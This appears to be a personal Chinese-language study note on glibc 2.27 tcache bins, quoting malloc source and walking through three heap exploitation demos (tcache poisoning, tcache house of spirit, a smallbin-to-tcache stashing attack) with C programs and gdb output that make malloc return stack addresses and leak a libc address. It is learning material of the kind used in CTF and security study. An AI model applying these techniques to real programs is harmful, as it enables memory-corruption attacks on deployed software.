关于如何理解Glibc堆管理器(Ⅶ——Tcache Bins!!)

First Post:

Last Update:

本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。

若有图片及文稿引用,将在本篇结尾处著名来源(也有置于篇首的情况)。

        笔者本该将这一节的内容与第二节合并的,因为Tcache的并入并没有带来非常多的内容。但从结构上考虑,笔者一直以来都在使用glibc-2.23进行说明,在该版本下尚且没有引入Tcache Bins,因此这一节的内容一直拖欠到今。直到glibc-2.27开始,官方才引入了Tcache Bins结构,因此本节内容也将在该版本下进行说明(不过Ubuntu18确实用着比Ubuntu16来得舒服……)

        (注:读者不应以笔者给出的代码为准。笔者为了方便理解而将“在别处定义而在本函数中被使用的内容”一并展示在代码栏中,实际上,某些定义并非在该处被定义)

Tcache 结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */
# define TCACHE_MAX_BINS64
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;
/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

         每个线程都有一个tcache_perthread_struct结构体,该结构体即为Tcache Bins的结构体

        可以注意到,每个线程最多只能有64个Tcache Bin,且用单项链表储存free chunk,这与Fast Bin是相同的,且它们储存chunk的大小也是严格分类,因此这一点上也相同

        (注:笔者试着翻阅了源代码,tcache_entry结构体中的*key直到glibc-2.29才出现,此前的版本均没有这一项。但笔者对照了自己Ubuntu18.04版本中正在使用的libc-2.27.so发现,该系统已经引入了这一结构,因此本节会按照存在该结构的环境进行介绍)

        (读者可在这里找到更新的commit:sourceware.org Git - glibc.git/blobdiff - malloc/malloc.c

        而操作该结构体的函数主要有这两个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* This is another arbitrary limit, which tunables can change.  Each
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}

        前者向Bins中放入chunk,后者则从中取出chunk。且每个Tcache Bin最多存放7个chunk(不过这段代码没能体现出来,该限制在malloc中存在,具体内容之后讲解)

  •         chunk2mem 将返回chunk p的头部
  •         tc_idx 表示Tcache Bins的索引
  •         tcache->counts[tc_idx]指示索引为tc_idx的Bins中存放的chunk数

        如下为Tcache Bins分配规则:(内容摘自CTF-WIKI)

内存申请:

在内存分配的 malloc 函数中有多处,会将内存块移入 tcache 中

  1. 首先,申请的内存块符合 fastbin 大小时并且在 fastbin 内找到可用的空闲块时,会把该 fastbin 链上的其他内存块放入 tcache 中
  2. 其次,申请的内存块符合 smallbin 大小时并且在 smallbin 内找到可用的空闲块时,会把该 smallbin 链上的其他内存块放入 tcache 中
  3. 当在 unsorted bin 链上循环处理时,当找到大小合适的链时,并不直接返回,而是先放到 tcache 中,继续处理
  • tcache 取出:在内存申请的开始部分,首先会判断申请大小块,并验证 tcache 是否存在,如果存在就直接从 tcache 中摘取,否则再使用_int_malloc 分配
  • 在循环处理 unsorted bin 内存块时,如果达到放入 unsorted bin 块最大数量,会立即返回。不过默认是 0,即不存在上限
1
2
3
4
5
6
7
8
9
10
11
#if USE_TCACHE
/* If we've processed as many chunks as we're allowed while
filling the cache, return one of the cached ones. */
++tcache_unsorted_count;
if (return_cached
&& mp_.tcache_unsorted_limit > 0
&& tcache_unsorted_count > mp_.tcache_unsorted_limit)
{
return tcache_get (tc_idx);
}
#endif

        关于具体的代码实现,笔者打算将其留作最后几节的完结篇,因此这里不做代码分析,仅给出结论,并在之后的代码调试中验证结论

        实际上Tcache的内容就这么多,在理解了前三个Bins结构之后,笔者发现似乎已经没有其他可以讨论的内容了;但读者可能也发现了,对Tcache Bin进行操作的函数似乎非常简单,几乎没有做安全性检查,这也同样是事实,不过目前笔者还没有贴出完全的代码,因此整体还并不明朗,读者可以自行查阅相关资料,或是阅读笔者之后的几篇代码分析

        仅从结论来说,Tcache 确实不如最早的那三个来得安全(至少目前是这样)

代码调试:

tcache_poisoning:(删除了大多数说明)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
size_t stack_var;
intptr_t *a = malloc(128);
intptr_t *b = malloc(128);
free(a);
free(b);
b[0] = (intptr_t)&stack_var;
intptr_t *c = malloc(128);
intptr_t *d = malloc(128);
return 0;
}

        我们可以直接断点在第15行,此时的Bins结构为:

1
2
3
gdb-peda$ bins
tcachebins
0x90 [ 2]: 0x5555557562f0 —▸ 0x555555756260 ◂— 0x0

        (不过唯独Tcache Bins显示的地址是&chunk+0x10) 

1
2
3
4
5
6
7
8
9
Free chunk (tcache)  PREV_INUSE
Addr: 0x555555756250
Size: 0x91
fd: 0x00

Free chunk (tcache) PREV_INUSE
Addr: 0x5555557562e0
Size: 0x91
fd: 0x555555756260

        显然,此时chunk a与b均非放入Tcache Bins中,这也说明,其优先级甚至要高于Fast Bins

        再以chunk b为例,查看一下Tcache的结构:

1
2
3
4
gdb-peda$ x /6gx 0x5555557562e0
0x5555557562e0:0x00000000000000000x0000000000000091
0x5555557562f0:0x00005555557562600x0000555555756010
0x555555756300:0x00000000000000000x0000000000000000

         它没有prev_size,但几乎和Fast Bin中的chunk是一样的,同时也不会合并,不会将Size中的P位标记置零,同时它们拥有共同的bk指针,这个指针有些特殊,它们会指向该线程的Tcache Bins表头,并被用作一个“key”,当对某个chunk进行free的时候便会遍历搜索,查看它是否已经被放入Tcache Bins,由此来防止出现Double Free的情况

1
2
3
Allocated chunk  PREV_INUSE
Addr: 0x555555756000
Size: 0x251

          继续往下,程序伪造了chunk b的fd指针,此时的Bins为:

1
2
tcachebins
0x90 [ 2]: 0x5555557562f0 —▸ 0x7fffffffdeb8 ◂— 0x0

         则在第二次申请时,将得到一个指向栈的地址:

1
2
gdb-peda$ p d
$1 = (intptr_t *) 0x7fffffffdeb0

tcache house of spirit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
setbuf(stdout, NULL);
malloc(1);
unsigned long long *a; //pointer that will be overwritten
unsigned long long fake_chunks[10]; //fake chunk region
fake_chunks[1] = 0x40; // this is the size
a = &fake_chunks[2];
free(a);
void *b = malloc(0x30);
assert((long)b == (long)&fake_chunks[2]);
}

         同样删除了几乎所有的注释

        直接运行到第8行

        首先申请一块内存来初始化堆结构,然后在栈上构造起fake_chunks结构,并以0x40作为该chunk的size

        此时如果对这个chunk进行free,那么这个伪造好的chunk就会被放进Bins中,并在接下来申请时候被返回:

1
2
tcachebins
0x40 [ 1]: 0x7fffffffde90 ◂— 0x0

1
2
gdb-peda$ p b
$1 = (void *) 0x7fffffffde90

         由此可见,在glibc2.27版本中,对Tcache的合法性检查并不严谨,就连官方都曾表示:“在free之前需要确保该指针是安全的”(大致是这个意思)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;

setbuf(stdout, NULL);

stack_var[3] = (unsigned long)(&stack_var[2]);

//now we malloc 9 chunks
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}

//put 7 chunks into tcache
for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}
//last tcache bin
free(chunk_lis[1]);

//now they are put into unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);
//convert into small bin
unsigned long *a=malloc(0xa0);// size > 0x90
//now 5 tcache bins
unsigned long *b=malloc(0x90);
unsigned long *c=malloc(0x90);
//change victim->bck
/*VULNERABILITY*/
chunk_lis[2][1] = (unsigned long)stack_var;
/*VULNERABILITY*/
//trigger the attack
unsigned long *d=calloc(1,0x90);
//malloc and return our fake chunk on stack
target = malloc(0x90);
assert(target == &stack_var[2]);
return 0;
}

        第一个断点于第26行,此时,程序开辟了9个相同大小的chunk,并free掉了后6个和第二个,剩下第一个和第三个

        此时,Tcache Bin已经装满,接下来的释放将把chunk 放入Unsorted Bin:

1
2
3
4
tcachebins
0xa0 [ 7]: 0x555555756300 —▸ 0x555555756760 —▸ 0x5555557566c0 —▸ 0x555555756620 —▸ 0x555555756580 —▸ 0x5555557564e0 —▸ 0x555555756440 ◂— 0x0
unsortedbin
all: 0x555555756390 —▸ 0x555555756250 —▸ 0x7ffff7dcdca0 (main_arena+96) ◂— 0x555555756390

         接下来开辟chunk a,因为没有能够满足0xa0的free chunk,因此直接往下开辟新的chunk,且将Unsorted Bin中的内容放入Small Bin中

        然后开辟chunk b与c,由于Tcache Bin中有合适的,因此相继拿出第一个节点分配给它们

        接下来伪造chunk_lis[2]的bk指针

1
2
3
4
5
6
7
8
gdb-peda$ bins
tcachebins
0xa0 [ 5]: 0x5555557566c0 —▸ 0x555555756620 —▸ 0x555555756580 —▸ 0x5555557564e0 —▸ 0x555555756440 ◂— 0x0
smallbins
0xa0 [corrupted]
FD: 0x555555756390 —▸ 0x555555756250 —▸ 0x7ffff7dcdd30 (main_arena+240) ◂— 0x555555756390
BK: 0x555555756250 —▸ 0x555555756390 —▸ 0x7fffffffddd0 —▸ 0x7fffffffdde0 ◂— 0x0
largebins

        此时,如果程序调用calloc函数,则会触发一个特殊的机制:如果对应的Tcache Bin中仍有空余,则在分配给用户chunk之后,把Small Bin中其他的chunk放入Tcache Bin中,直到Tcache Bin放满,或者Small Bin放完

        其Unlink操作代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
      while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}

         由于存在bck->fd = bin,因此,在本例中,当向Tcache Bin中放入Small Bin中放入 0x7fffffffddd0(即fake_chunk)后,将往0x7fffffffdde0->fd处写入bin的地址,由此造成libc地址泄露

1
2
3
4
5
6
7
8
9
10
11
12
tcachebins
0xa0 [ 7]: 0x7fffffffdde0 —▸ 0x5555557563a0 —▸ 0x5555557566c0 —▸ 0x555555756620 —▸ 0x555555756580 —▸ 0x5555557564e0 —▸ 0x555555756440 ◂— 0x0
smallbins
0xa0 [corrupted]
FD: 0x555555756390 —▸ 0x5555557566c0 ◂— 0x0
BK: 0x7fffffffdde0 ◂— 0x0

gdb-peda$ x /8gx 0x7fffffffddc0
0x7fffffffddc0:0x00005555557562600x00007ffff7dde39f
0x7fffffffddd0:0x00000000000000000x0000000000000000
0x7fffffffdde0:0x00005555557563a00x0000555555756010
0x7fffffffddf0:0x00007ffff7dcdd300x0000000000000000

         由于0x7fffffffddd0  的放入导致了Tcache Bin满员,所以0x7fffffffdde0被没放入Tcache Bin中,而其fd保留了bin的地址

        0x7fffffffddd0 被放入Tcache Bin中时,调用该函数

1
tcache_put (tc_victim, tc_idx);

         这个函数将0x7fffffffdde0->fd处的bin地址又用Tcache->fd的地址覆盖,因此没能在该chunk处泄露,倘若0x7fffffffdde0放入后,Tcache Bin仍未满员,那么0x7fffffffdde0也会被放入,则0x7fffffffdde0->fd中的bin地址也会被覆盖,因此,该利用必须严格控制Tcache Bin中的chunk数量

总结:

        先开辟9个相同大小的chunk,并且全都释放,使其中7个均被放入相同索引的Tcache Bin,而两个被放入Unsorted Bin中(这两个不应该在地址上相邻)

        通过请求更大的chunk,使得Unsorted Bin中的chunk被放入Small Bin中

        由于Small Bin按照FIFO(先进先出)使用,假设现在SmallBin->bk=chunk0;chunk0->bk=chunk1,为chunk1伪造一个fake_chunk,并将fake_chunk->bk指向一个可控的地址(指可写也可被获取内容)

        然后调用calloc函数,触发机制,将chunk0分配给用户,chunk1与chunk1->bk(即fake_chunk)被放入Tcache Bin中,且向fake_chunk->fd写入bin

        然后用户再次请求一个同样大小的chunk时,由于Tcache Bin遵守LIFO(先进后出),因此将返回fake_chunk地址 ​

插画ID:91536470